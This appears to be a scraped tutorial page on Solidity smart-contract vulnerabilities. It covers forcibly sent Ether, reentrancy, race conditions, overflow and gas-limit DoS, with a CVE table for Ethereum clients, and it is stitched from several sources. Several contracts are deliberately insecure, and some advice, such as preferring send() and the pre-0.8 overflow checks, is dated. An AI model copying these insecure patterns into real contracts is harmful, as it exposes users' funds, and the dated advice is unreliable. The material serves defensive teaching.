After step 2, the supplied Ethers would be forcibly sent into the InsecureMoonToken contract by way of the selfdestruct function (line 14). Then, any sell transactions would be reverted, leading to a denial-of-service attack to the InsecureMoonToken contract.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Figure 2. The attack result

Figure 2 displays the result of the attack. As you can see, two users bought 55 MOONs with 55 Ethers. But, after the attacker forcibly sent 1 Wei to the InsecureMoonToken contract, the users were no longer selling their MOONs.

Surprise!! You can buy it but may not sell it.


The Solution

The FixedMoonToken contract below is the remediated version of the InsecureMoonToken contract.

pragma solidity 0.8.17;

contract FixedMoonToken {
    mapping (address => uint256) private userBalances;

    uint256 public constant TOKEN_PRICE = 1 ether;
    string public constant name = "Moon Token";
    string public constant symbol = "MOON";

    // The token is non-divisible
    // You can buy/sell/transfer 1, 2, 3, or 46 tokens but not 33.5
    uint8 public constant decimals = 0;

    uint256 public totalSupply;

    function buy(uint256 _amount) external payable {
        require(
            msg.value == _amount * TOKEN_PRICE, 
            "Ether submitted and Token amount to buy mismatch"
        );

        userBalances[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function sell(uint256 _amount) external {
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");

        userBalances[msg.sender] -= _amount;
        totalSupply -= _amount;

        (bool success, ) = msg.sender.call{value: _amount * TOKEN_PRICE}("");
        require(success, "Failed to send Ether");

        // FIX: Do not rely on address(this).balance. If necessary, however, 
        // apply assert(address(this).balance >= totalSupply * TOKEN_PRICE); instead
        assert(getEtherBalance() >= totalSupply * TOKEN_PRICE);
    }

    function transfer(address _to, uint256 _amount) external {
        require(_to != address(0), "_to address is not valid");
        require(userBalances[msg.sender] >= _amount, "Insufficient balance");
        
        userBalances[msg.sender] -= _amount;
        userBalances[_to] += _amount;
    }

    function getEtherBalance() public view returns (uint256) {
        return address(this).balance;
    }

    function getUserBalance(address _user) external view returns (uint256) {
        return userBalances[_user];
    }
}

GITHUB


The smart contract should avoid being dependent on the contract’s Ether balance (i.e., address(this).balance) as it can be artificially manipulated. If necessary, however, the contract should be prepared for such cases of contract balance manipulation.

To remediate the improper balance assertion issue, the FixedMoonToken contract’s assertion statement was improved by using the >= instead of the == symbol as follows: assert(getEtherBalance() >= totalSupply * TOKEN_PRICE); (line 37).

As a result, even if the contract balance is manipulated, the FixedMoonToken contract’s sell function could still work fine.


#CVE IDCWE ID# of ExploitsVulnerability Type(s)Publish DateUpdate DateScoreGained Access LevelAccessComplexityAuthenticationConf.Integ.Avail.
1CVE-2022-374502022-08-052022-08-120.0None??????????????????
Go Ethereum (aka geth) through 1.10.21 allows attackers to increase rewards by mining blocks in certain situations, and using a manipulation of time-difference values to achieve replacement of main-chain blocks, aka Riskless Uncle Making (RUM), as exploited in the wild in 2020 through 2022.
2CVE-2022-291772022-05-202022-06-064.3NoneRemoteMediumNot requiredNoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.17, a vulnerable node, if configured to use high verbosity logging, can be made to crash when handling specially crafted p2p messages sent from an attacker node. Version 1.10.17 contains a patch that addresses the problem. As a workaround, setting loglevel to default level (`INFO`) makes the node not vulnerable to this attack.
3CVE-2022-23328400DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in all versions of Go-Ethereum allows an attacker node to send 5120 pending transactions of a high gas price from one account that all fully spend the full balance of the account to a victim Geth node, which can purge all of pending transactions in a victim node’s memory pool and then occupy the memory pool to prevent new transactions from entering the pool, resulting in a denial of service (DoS).
4CVE-2022-23327DoS2022-03-042022-03-175.0NoneRemoteLowNot requiredNoneNonePartial
A design flaw in Go-Ethereum 1.10.12 and older versions allows an attacker node to send 5120 future transactions with a high gas price in one message, which can purge all of pending transactions in a victim node’s memory pool, causing a denial of service (DoS).
5CVE-2022-1930697DoS2022-08-222022-08-250.0None??????????????????
An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the eth-account PyPI package, when an attacker is able to supply arbitrary input to the encode_structured_data method
6CVE-2021-43668476DoS2021-11-182021-11-232.1NoneLocalLowNot requiredNoneNonePartial
Go-Ethereum 1.10.9 nodes crash (denial of service) after receiving a serial of messages and cannot be recovered. They will crash with “runtime error: invalid memory address or nil pointer dereference” and arise a SEGV signal.
7CVE-2021-42219DoS2022-03-172022-03-285.0NoneRemoteLowNot requiredNoneNonePartial
Go-Ethereum v1.10.9 was discovered to contain an issue which allows attackers to cause a denial of service (DoS) via sending an excessive amount of messages to a node. This is caused by missing memory in the component /ethash/algorithm.go.
8CVE-2021-411732021-10-262021-10-283.5NoneRemoteMedium???NoneNonePartial
Go Ethereum is the official Golang implementation of the Ethereum protocol. Prior to version 1.10.9, a vulnerable node is susceptible to crash when processing a maliciously crafted message from a peer. Version v1.10.9 contains patches to the vulnerability. There are no known workarounds aside from upgrading.
9CVE-2021-391374362021-08-242021-08-315.0NoneRemoteLowNot requiredNoneNonePartial
go-ethereum is the official Go implementation of the Ethereum protocol. In affected versions a consensus-vulnerability in go-ethereum (Geth) could cause a chain split, where vulnerable versions refuse to accept the canonical chain. Further details about the vulnerability will be disclosed at a later date. A patch is included in the upcoming `v1.10.8` release. No workaround are available.
10CVE-2020-26800787DoS Overflow2021-01-112021-01-134.3NoneRemoteMediumNot requiredNoneNonePartial
A stack overflow vulnerability in Aleth Ethereum C++ client version <= 1.8.0 using a specially crafted a config.json file may result in a denial of service.
11CVE-2020-262656822020-12-112020-12-143.5NoneRemoteMedium???NonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth from version 1.9.4 and before version 1.9.20 a consensus-vulnerability could cause a chain split, where vulnerable versions refuse to accept the canonical chain. The fix was included in the Paragade release version 1.9.20. No individual workaround patches have been made — all users are recommended to upgrade to a newer version.
12CVE-2020-262644002020-12-112020-12-144.0NoneRemoteLow???NoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.25 a denial-of-service vulnerability can make a LES server crash via malicious GetProofsV2 request from a connected LES client. This vulnerability only concerns users explicitly enabling les server; disabling les prevents the exploit. The vulnerability was patched in version 1.9.25.
13CVE-2020-262422020-11-252020-12-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. In Geth before version 1.9.18, there is a Denial-of-service (crash) during block processing. This is fixed in 1.9.18.
14CVE-2020-262416822020-11-252020-12-035.5NoneRemoteLow???NonePartialPartial
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. This is a Consensus vulnerability in Geth before version 1.9.17 which can be used to cause a chain-split where vulnerable nodes reject the canonical chain. Geth’s pre-compiled dataCopy (at 0x00…04) contract did a shallow copy on invocation. An attacker could deploy a contract that writes X to an EVM memory region R, then calls 0x00..04 with R as an argument, then overwrites R to Y, and finally invokes the RETURNDATACOPY opcode. When this contract is invoked, a consensus-compliant node would push X on the EVM stack, whereas Geth would push Y. This is fixed in version 1.9.17.
15CVE-2020-262406822020-11-252020-12-035.0NoneRemoteLowNot requiredNonePartialNone
Go Ethereum, or “Geth”, is the official Golang implementation of the Ethereum protocol. An ethash mining DAG generation flaw in Geth before version 1.9.24 could cause miners to erroneously calculate PoW in an upcoming epoch (estimated early January, 2021). This happened on the ETC chain on 2020-11-06. This issue is relevant only for miners, non-mining nodes are unaffected. This issue is fixed as of 1.9.24
16CVE-2018-20421770DoS2018-12-242019-10-035.0NoneRemoteLowNot requiredNoneNonePartial
Go Ethereum (aka geth) 1.8.19 allows attackers to cause a denial of service (memory consumption) by rewriting the length of a dynamic array in memory, and then writing data to a single memory location with a large index number, as demonstrated by use of “assembly { mstore }” followed by a “c[0xC800000] = 0xFF” assignment.
17CVE-2018-19184476DoS2018-11-122018-12-135.0NoneRemoteLowNot requiredNoneNonePartial
cmd/evm/runner.go in Go Ethereum (aka geth) 1.8.17 allows attackers to cause a denial of service (SEGV) via crafted bytecode.
18CVE-2018-18920119Exec Code Overflow2018-11-122019-02-046.8NoneRemoteMediumNot requiredPartialPartialPartial
Py-EVM v0.2.0-alpha.33 allows attackers to make a vm.execute_bytecode call that triggers computation._stack.values with ‘”stack”: [100, 100, 0]’ where b’\x’ was expected, resulting in an execution failure because of an invalid opcode. This is reportedly related to “smart contracts can be executed indefinitely without gas being paid.”
19CVE-2018-16733202018-09-082018-11-075.0NoneRemoteLowNot requiredNonePartialNone
In Go Ethereum (aka geth) before 1.8.14, TraceChain in eth/api_tracer.go does not verify that the end block is after the start block.
20CVE-2018-158905022019-06-202019-06-2010.0NoneRemoteLowNot requiredCompleteCompleteComplete
An issue was discovered in EthereumJ 1.8.2. There is Unsafe Deserialization in ois.readObject in mine/Ethash.java and decoder.readObject in crypto/ECKey.java. When a node syncs and mines a new block, arbitrary OS commands can be run on the server.
21CVE-2018-12018129DoS2018-07-052018-09-045.0NoneRemoteLowNot requiredNoneNonePartial
The GetBlockHeadersMsg handler in the LES protocol implementation in Go Ethereum (aka geth) before 1.8.11 may lead to an access violation because of an integer signedness error for the array index, which allows attackers to launch a Denial of Service attack by sending a packet with a -1 query.Skip value. The vulnerable remote node would be crashed by such an attack immediately, aka the EPoD (Ethereum Packet of Death) issue.
22CVE-2017-14457125DoS +Info2018-01-192023-01-306.4NoneRemoteLowNot requiredPartialNonePartial
An exploitable information leak/denial of service vulnerability exists in the libevm (Ethereum Virtual Machine) `create2` opcode handler of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read leading to memory disclosure or denial of service. An attacker can create/send malicious a smart contract to trigger this vulnerability.
23CVE-2017-14451125Exec Code2020-12-022020-12-097.5NoneRemoteLowNot requiredPartialPartialPartial
An exploitable out-of-bounds read vulnerability exists in libevm (Ethereum Virtual Machine) of CPP-Ethereum. A specially crafted smart contract code can cause an out-of-bounds read which can subsequently trigger an out-of-bounds write resulting in remote code execution. An attacker can create/send malicious smart contract to trigger this vulnerability.
24CVE-2017-12119754DoS2018-01-192022-12-145.0NoneRemoteLowNot requiredNoneNonePartial
An exploitable unhandled exception vulnerability exists in multiple APIs of CPP-Ethereum JSON-RPC. Specially crafted JSON requests can cause an unhandled exception resulting in denial of service. An attacker can send malicious JSON to trigger this vulnerability.
25CVE-2017-121188632018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_stop API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). An attacker can send JSON to trigger this vulnerability.
26CVE-2017-12117863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_start API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
27CVE-2017-12116863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setGasPrice API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
28CVE-2017-12115863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in miner_setEtherbase API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass.
29CVE-2017-12114863Bypass2018-01-192022-12-144.3NoneRemoteMediumNot requiredPartialNoneNone
An exploitable improper authorization vulnerability exists in admin_peers API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
30CVE-2017-12113863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_nodeInfo API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.
31CVE-2017-12112863Bypass2018-01-192022-12-146.8NoneRemoteMediumNot requiredPartialPartialPartial
An exploitable improper authorization vulnerability exists in admin_addPeer API of cpp-ethereum’s JSON-RPC (commit 4e1015743b95821849d001618a7ce82c7c073768). A JSON request can cause an access to the restricted functionality resulting in authorization bypass. An attacker can send JSON to trigger this vulnerability.

Known Attacks

The following is a list of known attacks which you should be aware of, and defend against when writing smart contracts.

Race Conditions

One of the major dangers of calling external contracts is that they can take over the control flow, and make changes to your data that the calling function wasn’t expecting. This class of bug can take many forms, and both of the major bugs that led to the DAO’s collapse were bugs of this sort.

Reentrancy

The first version of this bug to be noticed involved functions that could be called repeatedly, before the first invocation of the function was finished. This may cause the different invocations of the function to interact in destructive ways.

// INSECURE
mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call withdrawBalance again
    userBalances[msg.sender] = 0;
}

Since the user’s balance is not set to 0 until the very end of the function, the second (and later) invocations will still succeed, and will withdraw the balance over and over again. A very similar bug was one of the vulnerabilities in the DAO attack.

In the example given, the best way to avoid the problem is to use send() instead of call.value()(). This will prevent any external code from being executed.

However, if you can’t remove the external call, the next simplest way to prevent this attack is to make sure you don’t call an external function until you’ve done all the internal work you need to do:

mapping (address => uint) private userBalances;

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    userBalances[msg.sender] = 0;
    require(msg.sender.call.value(amountToWithdraw)()); // The user's balance is already 0, so future invocations won't withdraw anything
}

Note that if you had another function which called withdrawBalance(), it would be potentially subject to the same attack, so you must treat any function which calls an untrusted contract as itself untrusted. See below for further discussion of potential solutions.

Cross-function Race Conditions

An attacker may also be able to do a similar attack using two different functions that share the same state.

// INSECURE
mapping (address => uint) private userBalances;

function transfer(address to, uint amount) {
    if (userBalances[msg.sender] >= amount) {
       userBalances[to] += amount;
       userBalances[msg.sender] -= amount;
    }
}

function withdrawBalance() public {
    uint amountToWithdraw = userBalances[msg.sender];
    require(msg.sender.call.value(amountToWithdraw)()); // At this point, the caller's code is executed, and can call transfer()
    userBalances[msg.sender] = 0;
}

In this case, the attacker calls transfer() when their code is executed on the external call in withdrawBalance. Since their balance has not yet been set to 0, they are able to transfer the tokens even though they already received the withdrawal. This vulnerability was also used in the DAO attack.

The same solutions will work, with the same caveats. Also note that in this example, both functions were part of the same contract. However, the same bug can occur across multiple contracts, if those contracts share state.

Pitfalls in Race Condition Solutions

Since race conditions can occur across multiple functions, and even multiple contracts, any solution aimed at preventing reentry will not be sufficient.

Instead, we have recommended finishing all internal work first, and only then calling the external function. This rule, if followed carefully, will allow you to avoid race conditions. However, you need to not only avoid calling external functions too soon, but also avoid calling functions which call external functions. For example, the following is insecure:

// INSECURE
mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function withdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function getFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    rewardsForA[recipient] += 100;
    withdraw(recipient); // At this point, the caller will be able to execute getFirstWithdrawalBonus again.
    claimedBonus[recipient] = true;
}

Even though getFirstWithdrawalBonus() doesn’t directly call an external contract, the call in withdraw() is enough to make it vulnerable to a race condition. You therefore need to treat withdraw() as if it were also untrusted.

mapping (address => uint) private userBalances;
mapping (address => bool) private claimedBonus;
mapping (address => uint) private rewardsForA;

function untrustedWithdraw(address recipient) public {
    uint amountToWithdraw = userBalances[recipient];
    rewardsForA[recipient] = 0;
    require(recipient.call.value(amountToWithdraw)());
}

function untrustedGetFirstWithdrawalBonus(address recipient) public {
    require(!claimedBonus[recipient]); // Each recipient should only be able to claim the bonus once

    claimedBonus[recipient] = true;
    rewardsForA[recipient] += 100;
    untrustedWithdraw(recipient); // claimedBonus has been set to true, so reentry is impossible
}

In addition to the fix making reentry impossible, untrusted functions have been marked. This same pattern repeats at every level: since untrustedGetFirstWithdrawalBonus() calls untrustedWithdraw(), which calls an external contract, you must also treat untrustedGetFirstWithdrawalBonus() as insecure.

Another solution often suggested is a mutex. This allows you to “lock” some state so it can only be changed by the owner of the lock. A simple example might look like this:

// Note: This is a rudimentary example, and mutexes are particularly useful where there is substantial logic and/or shared state
mapping (address => uint) private balances;
bool private lockBalances;

function deposit() payable public returns (bool) {
    require(!lockBalances);
    lockBalances = true;
    balances[msg.sender] += msg.value;
    lockBalances = false;
    return true;
}

function withdraw(uint amount) payable public returns (bool) {
    require(!lockBalances && amount > 0 && balances[msg.sender] >= amount);
    lockBalances = true;

    if (msg.sender.call(amount)()) { // Normally insecure, but the mutex saves it
      balances[msg.sender] -= amount;
    }

    lockBalances = false;
    return true;
}

If the user tries to call withdraw() again before the first call finishes, the lock will prevent it from having any effect. This can be an effective pattern, but it gets tricky when you have multiple contracts that need to cooperate. The following is insecure:

// INSECURE
contract StateHolder {
    uint private n;
    address private lockHolder;

    function getLock() {
        require(lockHolder == 0);
        lockHolder = msg.sender;
    }

    function releaseLock() {
        lockHolder = 0;
    }

    function set(uint newState) {
        require(msg.sender == lockHolder);
        n = newState;
    }
}

An attacker can call getLock(), and then never call releaseLock(). If they do this, then the contract will be locked forever, and no further changes will be able to be made. If you use mutexes to protect against race conditions, you will need to carefully ensure that there are no ways for a lock to be claimed and never released. (There are other potential dangers when programming with mutexes, such as deadlocks and livelocks. You should consult the large amount of literature already written on mutexes, if you decide to go this route.)

* Some may object to the use of the term race condition since Ethereum does not currently have true parallelism. However, there is still the fundamental feature of logically distinct processes contending for resources, and the same sorts of pitfalls and potential solutions apply.

Transaction-Ordering Dependence (TOD) / Front Running

Above were examples of race conditions involving the attacker executing malicious code within a single transaction. The following are a different type of race condition inherent to Blockchains: the fact that the order of transactions themselves (within a block) is easily subject to manipulation.

Since a transaction is in the mempool for a short while, one can know what actions will occur, before it is included in a block. This can be troublesome for things like decentralized markets, where a transaction to buy some tokens can be seen, and a market order implemented before the other transaction gets included. Protecting against this is difficult, as it would come down to the specific contract itself. For example, in markets, it would be better to implement batch auctions (this also protects against high frequency trading concerns). Another way to use a pre-commit scheme (“I’m going to submit the details later”).

Timestamp Dependence

Be aware that the timestamp of the block can be manipulated by the miner, and all direct and indirect uses of the timestamp should be considered. Block numbers and average block time can be used to estimate time, but this is not future proof as block times may change (such as the changes expected during Casper).

uint someVariable = now + 1;

if (now % 2 == 0) { // the now can be manipulated by the miner

}

if ((someVariable - 100) % 2 == 0) { // someVariable can be manipulated by the miner

}

Integer Overflow and Underflow

Be aware there are around 20 cases for overflow and underflow.

Consider a simple token transfer:

mapping (address => uint256) public balanceOf;

// INSECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance */
    require(balanceOf[msg.sender] >= _value);
    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

// SECURE
function transfer(address _to, uint256 _value) {
    /* Check if sender has balance and for overflows */
    require(balanceOf[msg.sender] >= _value && balanceOf[_to] + _value >= balanceOf[_to]);

    /* Add and subtract new balances */
    balanceOf[msg.sender] -= _value;
    balanceOf[_to] += _value;
}

If a balance reaches the maximum uint value (2^256) it will circle back to zero. This checks for that condition. This may or may not be relevant, depending on the implementation. Think about whether or not the uint value has an opportunity to approach such a large number. Think about how the uint variable changes state, and who has authority to make such changes. If any user can call functions which update the uint value, it’s more vulnerable to attack. If only an admin has access to change the variable’s state, you might be safe. If a user can increment by only 1 at a time, you are probably also safe because there is no feasible way to reach this limit.

The same is true for underflow. If a uint is made to be less than zero, it will cause an underflow and get set to its maximum value.

Be careful with the smaller data-types like uint8, uint16, uint24…etc: they can even more easily hit their maximum value.

Be aware there are around 20 cases for overflow and underflow.

DoS with (Unexpected) revert

Consider a simple auction contract:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

When it tries to refund the old leader, it reverts if the refund fails. This means that a malicious bidder can become the leader while making sure that any refunds to their address will always fail. In this way, they can prevent anyone else from calling the bid() function, and stay the leader forever. A recommendation is to set up a pull payment system instead, as described earlier.

Another example is when a contract may iterate through an array to pay users (e.g., supporters in a crowdfunding contract). It’s common to want to make sure that each payment succeeds. If not, one should revert. The issue is that if one call fails, you are reverting the whole payout system, meaning the loop will never complete. No one gets paid because one address is forcing an error.

address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

Again, the recommended solution is to favor pull over push payments.

DoS with Block Gas Limit

You may have noticed another problem with the previous example: by paying out to everyone at once, you risk running into the block gas limit. Each Ethereum block can process a certain maximum amount of computation. If you try to go over that, your transaction will fail.

This can lead to problems even in the absence of an intentional attack. However, it’s especially bad if an attacker can manipulate the amount of gas needed. In the case of the previous example, the attacker could add a bunch of addresses, each of which needs to get a very small refund. The gas cost of refunding each of the attacker’s addresses could, therefore, end up being more than the gas limit, blocking the refund transaction from happening at all.

This is another reason to favor pull over push payments.

If you absolutely must loop over an array of unknown size, then you should plan for it to potentially take multiple blocks, and therefore require multiple transactions. You will need to keep track of how far you’ve gone, and be able to resume from that point, as in the following example:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && msg.gas > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

You will need to make sure that nothing bad will happen if other transactions are processed while waiting for the next iteration of the payOut() function. So only use this pattern if absolutely necessary.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Forcibly Sending Ether to a Contract

It is possible to forcibly send Ether to a contract without triggering its fallback function. This is an important consideration when placing important logic in the fallback function or making calculations based on a contract’s balance. Take the following example:

contract Vulnerable {
    function () payable {
        revert();
    }

    function somethingBad() {
        require(this.balance > 0);
        // Do something bad
    }
}

Contract logic seems to disallow payments to the contract and therefore disallow “something bad” from happening. However, a few methods exist for forcibly sending ether to the contract and therefore making its balance greater than zero.

The selfdestruct contract method allows a user to specify a beneficiary to send any excess ether. selfdestruct does not trigger a contract’s fallback function.

It is also possible to precompute a contract’s address and send Ether to that address before deploying the contract.

Contract developers should be aware that Ether can be forcibly sent to a contract and should design contract logic accordingly. Generally, assume that it is not possible to restrict sources of funding to your contract.


Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Deprecated/historical attacks

These are attacks which are no longer possible due to changes in the protocol or improvements to solidity. They are recorded here for posterity and awareness.

Call Depth Attack (deprecated)

As of the EIP 150 hardfork, call depth attacks are no longer relevant* (all gas would be consumed well before reaching the 1024 call depth limit).


Denial of Service

Every node in the network consumes resources when maintaining a copy of the distributed ledger.  Every transaction requires storage space and computational cycles to process when a node is updating the state of its copy of the shared virtual machine.

Ethereum compensates nodes for this effort by having all transaction creators pay “gas” (fractions of an Ether) to submit and run a transaction.  This gas is paid to the node creating the block (which should vary from block to block).  The more computationally expensive the operation, the more gas required.

Ethereum also includes a cap on the amount of gas that a particular transaction or block can contain.  This helps to protect the network against spam, but it leaves it open to Denial of Service attacks.

The code sample above shows an example of a function that has a gas-based DoS vulnerability.  Notice that the number of loop iterations depends on a user-provided value and is always increasing.

This means that the contract can be placed in a state where it takes more gas to run the function than can fit in a transaction.  Since running out of gas terminates execution and causes the execution state to be rolled back to where it was before the transaction was processed, this makes the function completely unrunnable.

Reentrancy

Reentrancy is probably the most famous of the vulnerabilities that can exist in an Ethereum smart contract.  This vulnerability was behind the famous DAO hack that resulted in the split of the Ethereum and Ethereum Classic blockchains.

Reentrancy vulnerabilities are possible due to the existence of fallback functions in Ethereum smart contracts.  Smart contracts are able to receive transfers of value, and a fallback function contains code that is executed if a smart contract is sent Ether.  This creates a potential vulnerability since it allows another contract to execute code between two instructions of the contract sending the value.

The code sample above shows an example of a smart contract with a reentrancy vulnerability.  The logic follows a three-step flow:

  1. Validate that the withdrawal is valid
  2. Perform the withdrawal
  3. Update the contract’s internal balance sheet

While this flow makes sense, it also leaves the function vulnerable.  At line three, the function calls the fallback function of the function that called it.  This fallback function could contain another call to withdrawal, which would create the following flow:

  1. Malicious smart contract calls withdrawal
  2. Withdrawal validates request (line 2)
  3. Withdrawal sends value to malicious function (line 2)
  4. Malicious function’s fallback function calls withdrawal
  5. Withdrawal validates request (line 2)
  6. Withdrawal sends value to malicious function (line 2)
  7. Malicious function’s fallback function returns without doing anything
  8. Withdrawal updates internal ledger (line 3)
  9. Withdrawal returns to malicious fallback function (call from step 4)
  10. Malicious fallback function returns to withdrawal
  11. Withdrawal updates internal ledger (line 3)
  12. Withdrawal returns to malicious smart contract (call from line 1)

This flow is problematic because the internal ledger updates (steps 8 and 11) come after the value transfers (steps 3 and 6).  The second time that the malicious function calls withdrawal (step 4), withdrawal has no record of the transfer from step 3.  The test performed at step 5 tests against the original account balance (before step 3), not the value that should be in the account after the step 3 transfer.

This allows an attacker to withdraw more Ether from its account than it contains with the excess coming from other accounts on the smart contract.  Fixing this issue requires updating the internal state (line 4 of the code) before making the transfer (line 3 of the code), then testing afterward to ensure that the transfer was successful.

Short Addresses

Short address vulnerabilities arise from the fact that smart contracts can assume the length of its arguments without checking them.  For example, a function may assume that addresses are 20 bytes long but not check this fact, allowing an attacker to submit a 19-byte address.

If such a function calls a function that does enforce argument lengths, then the called function may take a byte from the next argument to meet the 20-byte target.  Later on, this argument will be right-padded to reach its desired length.

This creates a problem if, for example, the first function validates a transfer and the second performs it.  The value being transferred will be 256 times the value validated.

Unchecked Return Values

Like many other programming languages, Solidity has the concept of functions.  Solidity functions can take arguments and return values based upon the result of their execution.

One of the potential sources of confusion for Solidity programmers is the fact that similar functions handle errors differently.  For example, the low-level function send() in Solidity returns a value of False upon experiencing an error, while transfer(), a similar function, will cause execution to be halted and rolled up so that the transaction containing the error never happened.

This difference between two similar functions creates problems if developers do not know how to identify and properly handle errors when making function calls.  A call to send() that fails will allow execution to continue if the return value is not checked.  In contrast, most other low-level calls do not require a check because they terminate and roll up execution.

Reentrancy is probably the most famous Ethereum vulnerability, and it surprised everyone when discovered for the first time. It was first unveiled during a multimillion dollar heist which led to a hard fork of Ethereum. Reentrancy occurs when external contract calls are allowed to make new calls to the calling contract before the initial execution is complete. This means that the contract state may change in the middle of its execution, as a result of a call to an untrusted contract or the use of a low level function with an external address. One of the major dangers of calling external contracts is that they can take over the control flow. In a reentrancy attack, a malicious contract calls back into the calling contract before the first invocation of the function is finished. This may cause the different invocations of the function to interact in undesirable ways.

As is often the case with blockchain technology, the problems surrounding reentrancy in smart contracts do not originate in blockchain, but rather provide a novel and complex example of them.

Reentrancy is a term that has been present in computing for many years, and simply refers to the process whereby a process can be interrupted mid way through execution, have a different occurrence of the same function begin, then have both processes finish to completion. Reentrant functions are safely used in computing everyday. One good example is beginning an email draft in a server, exiting it to send another email, then being able to return to the draft to finish and send it.

So that’s a benign case of reentrancy that is simple, useful and not a threat. The problems begin to arise when this example is shifted away from a person sending an email, to a smart contract sending money. It’s a classic example of how cryptocurrencies and blockchain technology have upped the stakes of computing, providing some of its most sophisticated applications, whilst also making its pitfalls far more painful. The scale and cost of such reentrancy attacks should be a reminder that it is impossible to be too safe when it comes to code, and that a third party smart contract audit should be a staple of any project taking the security of their smart contracts seriously.

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

Vulnerability Details

The following image contains a function vulnerable to a reentrancy attack. When the low level call() function sends ether to the msg.sender address, it becomes vulnerable; if the address is a smart contract, the payment will trigger its fallback function with what’s left of the transaction gas:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks

An attacker can carefully construct a contract at an external address which contains malicious code in the fallback function. Thus, when a contract sends ether to this address, it will invoke the malicious code. Typically the malicious code executes a function on the vulnerable contract, performing operations which were not anticipated by the developer. The name “re-entrancy” comes from the fact that the external malicious contract calls back a function on the vulnerable contract and “re-enters” code execution at an arbitrary location on the vulnerable contract.

To clarify this, consider the simple vulnerable contract, which acts as an Ethereum vault only allowing depositors to withdraw 1 ether per week.

EtherStore.sol:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 3: Contract Vulnerable to Reentrancy

This contract has two public functions. depositFunds() and withdrawFunds(). The depositFunds() function simply increments the senders balances. The withdrawFunds() function allows the sender to specify the amount of wei to withdraw. It will only succeed if the requested amount to withdraw is less than 1 ether and a withdrawal hasn’t occurred in the last week. 

The vulnerability comes on line [17] where the requested amount of ether is sent to the user. Consider a malicious attacker creating the following contract

Attack.sol:

Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks
Image 4: Attacker Contract

Let’s see how this malicious contract can exploit the EtherStore contract. The attacker would create the above contract with the EtherStore‘s contract address as the constructor parameter. This will initialize and point the public variable etherStore to the contract to be attacked.

